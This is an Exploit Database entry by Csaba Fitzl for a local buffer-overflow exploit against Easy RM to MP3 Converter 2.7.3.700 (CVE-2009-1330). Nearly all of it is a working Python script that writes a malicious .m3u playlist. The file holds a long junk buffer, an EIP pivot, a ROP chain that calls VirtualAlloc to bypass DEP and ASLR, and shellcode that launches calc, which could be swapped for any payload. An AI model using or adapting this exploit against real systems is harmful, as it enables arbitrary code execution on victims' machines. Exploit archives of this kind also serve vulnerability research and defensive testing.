Easy RM to MP3 Converter 2.7.3.700 – ‘.m3u’ File (Universal ASLR + DEP Bypass)

• Exploit Database
• 92 阅读

• 作者： Fitzl Csaba
  日期： 2016-06-13
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39933/

• # Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass
  # Date: 2016-06-12
  # Exploit Author: Csaba Fitzl
  # Vendor Homepage: N/A
  # Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
  # Version: 2.7.3.700
  # Tested on: Windows 7 x64
  # CVE : CVE-2009-1330
  
  import struct
  
  def create_rop_chain():
  
  	# rop chain generated with mona.py - www.corelan.be
  	# added missing parts, and some optimisation by Csaba Fitzl
  	rop_gadgets = [
  
  	#mov 1000 to EDX - Csaba
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x10025a1c,# XOR EDX,EDX # RETN 
  	0x1002bc3d,# MOV EAX,411 # RETN
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc4c,# ADD EAX,100 # POP EBP # RETN 
  	0x41414141,# Filler (compensate)
  	0x1002dc24,# ADD EAX,80 # POP EBP # RETN
  	0x41414141,# Filler (compensate)
  	0x1002dc41,# ADD EAX,40 # POP EBP # RETN
  	0x41414141,# Filler (compensate)
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x10023327,# INC EAX # RETN
  	0x10023327,# INC EAX # RETN
  	0x10023327,# INC EAX # RETN
  	# AT this point EAX = 0x1000
  	0x1001a788,# PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI
  	0x41414141,# Filler (compensate)
  	
  	
  	0x10026d56,# POP EAX # RETN [MSRMfilter03.dll] 
  	0x10032078,# ptr to &VirtualAlloc() [IAT MSRMfilter03.dll]
  	0x1002e0c8,# MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll]
  	 
  	0x1001a788,# PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  	0x10027c5a,# POP EBP # RETN [MSRMfilter03.dll] 
  	0x1001b058,# & push esp # ret[MSRMfilter03.dll]
  	0x1002b93e,# POP EAX # RETN [MSRMfilter03.dll] 
  	0xfffffffb,# put delta into eax (-> put 0x00000001 into ebx)
  	0x1001d2ac,# ADD EAX,4 # RETN
  	0x10023327,# INC EAX # RETN
  	0x10023327,# INC EAX # RETN
  	0x1001bdee,# PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll] 
  	0x41414141,# Filler (compensate)
  	0x41414141,# Filler (compensate)
  
  	0x10029f74,# POP ECX # RETN [MSRMfilter03.dll] 
  	0xffffffff,#
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002dd3e,# INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
  	0x1002bc6a,# POP EDI # RETN [MSRMfilter03.dll] 
  	0x1001c121,# RETN (ROP NOP) [MSRMfilter03.dll]
  	0x10026f2b,# POP EAX # RETN [MSRMfilter03.dll] 
  	0x10024004, #address to xor, it will point to the DLL's data section which is writeable. Also will work as NOP
  	0x1002bc07# PUSHAD # XOR EAX,11005 # ADD BYTE PTR DS:[EAX],AL 
  
  	]
  	return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  
  buffersize = 26090
  
  junk = "A" * buffersize
  
  eip = '\x85\x22\x01\x10' # {pivot 8 / 0x08} :# ADD ESP,8 # RETN
  
  rop = create_rop_chain()
  
  calc = (
  "\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
  "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
  "\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
  "\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
  "\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
  "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
   
  
  shell = "\x90"*0x10 + calc
  
  exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell))
  
  filename = "list.m3u"
  textfile = open(filename , 'w')
  textfile.write(exploit)
  textfile.close()
  

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